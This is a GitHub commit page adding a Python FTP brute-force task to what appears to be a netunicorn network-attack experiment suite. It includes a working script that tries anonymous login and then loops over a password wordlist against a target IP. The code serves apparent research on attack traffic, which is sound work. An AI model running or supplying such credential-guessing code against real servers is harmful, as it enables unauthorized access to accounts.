Skip to content

Commit 63a09f1

Browse files
Merge pull request #20 from jaber-the-great/ftp_jaber
2 parents 3128d08 + 9149cd3 commit 63a09f1

File tree

2 files changed

+57
-0
lines changed

2 files changed

+57
-0
lines changed

tasks/network_attacks/ftp/__init__.py

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
from netunicorn.base.task import Task
2+
from netunicorn.base import Failure, Result, Success
3+
from .brute_force_ftp import brute_force
4+
5+
class BruteForceFTP(Task):
6+
def __init__(
7+
self,
8+
targetIP: str,
9+
wordlist: list,
10+
user='root',
11+
*args,
12+
**kwargs
13+
):
14+
self.targetIP = targetIP
15+
self.user = user
16+
self.wordlist = wordlist
17+
super().__init__(*args, **kwargs)
18+
19+
def run(self):
20+
return brute_force(
21+
target = self.targetIP,
22+
username = self.user,
23+
wordlist = self.wordlist,
24+
)
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
#!/usr/bin/env python
2+
# -*- coding:utf-8 -*-
3+
4+
import argparse
5+
import sys
6+
from ftplib import FTP
7+
from netunicorn.base import Failure, Result, Success
8+
from netunicorn.base.task import Task
9+
10+
def brute_force(target, username, wordlist):
11+
try:
12+
ftp = FTP(target)
13+
ftp.login()
14+
ftp.quit()
15+
return Success('No credentials required for anonymous login')
16+
except:
17+
pass
18+
19+
try:
20+
for password in wordlist:
21+
try:
22+
# print(f'trying {password}')
23+
ftp = FTP(target)
24+
ftp.login(username, password)
25+
ftp.quit()
26+
27+
return Success(f'Login successful: User - {username}, Password - {password}')
28+
except:
29+
print(f"[Attempt] target:- {target} - login:{username} - password:{password}")
30+
return Failure('No valid credentials found in wordlist')
31+
except:
32+
print('\nError with wordlist list')
33+
return Failure('Error with wordlist list')

0 commit comments

Comments
 (0)